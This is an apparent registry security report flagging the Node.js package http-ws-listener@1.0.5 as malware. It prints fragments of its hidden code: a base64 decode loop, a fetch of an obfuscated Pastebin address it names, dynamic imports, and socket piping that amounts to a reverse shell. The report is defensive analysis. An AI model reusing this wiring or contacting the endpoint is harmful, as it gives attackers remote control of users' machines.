registry / Remote code execution / http-ws-listener
http-ws-listener
A lightweight WebSocket server built with Node.js that provides real-time communication, message routing, and persistent transaction storage.
This report shows the evidence for http-ws-listener@1.0.5, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThis is a concrete, concealed remote-code-execution path reached by normal package use, not merely a suspicious primitive. The absence of install hooks limits automatic installation-time impact but does not mitigate runtime malware behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
A consumer imports the package and calls `startWebSocketServer()` from `index.js`.
Impact
Remote operators can execute arbitrary commands on the host running the server.
Mechanism
Obfuscated remote C2 retrieval, dynamic imports, and fetched-command execution.
Attack narrative
The main exported runtime path calls `fetchConfig`. That function resolves a hidden Pastebin endpoint, uses its response to fetch additional values, dynamically imports module specifiers received over the network, executes a further fetched command through `cp.exec`, and attempts to pipe process I/O over a socket. The undefined `sh` affects the attempted interactive forwarding but does not precede the command-execution call.
AI rationale
This is a concrete, concealed remote-code-execution path reached by normal package use, not merely a suspicious primitive. The absence of install hooks limits automatic installation-time impact but does not mitigate runtime malware behavior.
Evidence
package.jsonindex.jsmisc/configFetcher.jsREADME.md
Network endpoints1
pastebin.com/raw/pzwaDQsV
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` imports `fetchConfig` and calls it from `startWebSocketServer`.
- `misc/configFetcher.js` decodes `https://pastebin.com/raw/pzwaDQsV` from an obfuscated string.
- `fetchConfig` fetches remote handles, dynamically imports remote-selected modules, then runs `cp.exec` on remotely fetched text.
- The code opens a socket and attempts to forward command-process streams to it, consistent with remote shell control.
Evidence against
- `package.json` has no preinstall, install, or postinstall lifecycle hook.
- The socket callback references undefined `sh`, which may break stream forwarding after command execution begins.
Behavioral surface
ChildProcessDynamicRequireFilesystemNetworkWebSocket
HighEntropyStrings
Source & flagged code
3 flagged · loading sourcemisc/configFetcher.jsView file
9for(let i = 0; i < times; i++) {
L10: let bufferObj = Buffer.from(inp, "base64");
L11: inp = bufferObj.toString("utf8");
...
L29: export async function fetchHandles() {
L30: const resp = await fetch(decode());
L31: const body = await resp.text();
...
L59: client.pipe(sh.stdin);
L60: cp.stdout.pipe(client);
L61: cp.stderr.pipe(client);
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
misc/configFetcher.jsView on unpkg · L99Trigger-reachable chain: manifest.main -> index.js -> misc/configFetcher.js
L9: for(let i = 0; i < times; i++) {
L10: let bufferObj = Buffer.from(inp, "base64");
L11: inp = bufferObj.toString("utf8");
...
L29: export async function fetchHandles() {
L30: const resp = await fetch(decode());
L31: const body = await resp.text();
...
L59: client.pipe(sh.stdin);
L60: cp.stdout.pipe(client);
L61: cp.stderr.pipe(client);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
misc/configFetcher.jsView on unpkg · L952const lone = await fetchData(handlebards[3]);
L53: const net = await import(lone);
L54: const ltwo = await fetchData(handlebards[4]);
Findings
2 Critical1 High3 Medium3 Low
CriticalReverse Shellmisc/configFetcher.js
CriticalTrigger Reachable Dangerous Capabilitymisc/configFetcher.js
HighChild Process
MediumDynamic Requiremisc/configFetcher.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to http-ws-listener@1.0.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing http-ws-listener@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.